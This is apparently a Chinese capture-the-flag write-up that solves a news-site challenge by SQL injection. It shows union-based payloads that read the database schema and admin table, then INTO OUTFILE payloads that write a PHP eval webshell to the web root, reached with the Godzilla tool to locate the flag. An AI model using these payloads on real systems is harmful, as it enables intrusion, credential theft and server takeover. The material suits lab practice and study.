打开页面,是一个新闻发布中心:

1.png

我们可以看到右上角有个搜索框,这可能和 SQL 注入有关。

判断注入类型

输入:1 or 1=1 #

2.png

输入:1' or 1=1 #

4.png

由此观之这是字符型注入。

判断列数

  1. 1' or 1=1 order by 3 #

5.png

再输入:

1' or 1=1 order by 4 #

6.png

由此观之列数为 3。

获取数据库信息

1' union select 1, version(), database() #

7.png

由图可知,这是 MariaDB 10.2.26 版本,数据库名为sqlgunnews

获取表名

1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database() #

8.png

由图可知,有adminclassnewssystem表。

获取表结构

1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name='admin' #

9.png

由此观之,admin表有 3 个字段:idadminpassword

获取字段信息

1' or union select 1, group_concat(id,admin,password),3 from admin #

这里查不出信息:

10.png

写入一句话木马

打开 Brupsuite,把请求转发到 Repeater,在 POST data 中输入:

key=1' union select 1, "<?php phpinfo();?>", 3 into outfile '/var/www/html/phpinfo1.php' #

11.png

我们尝试访问一下:

12.png

然后我们写入一句话木马:

key=1' union select 1, "<?php @eval($_POST['banana']);?>", 3 into outfile '/var/www/html/banana.php' #

13.png

连接 WebShell

用哥斯拉连接 WebShell:

14.png

15.png

然后在哥斯拉的 Command execution 页面输入:

find / -name "flag"

查找 Flag,最后在 / 下找到 Flag 文件:

16.png

References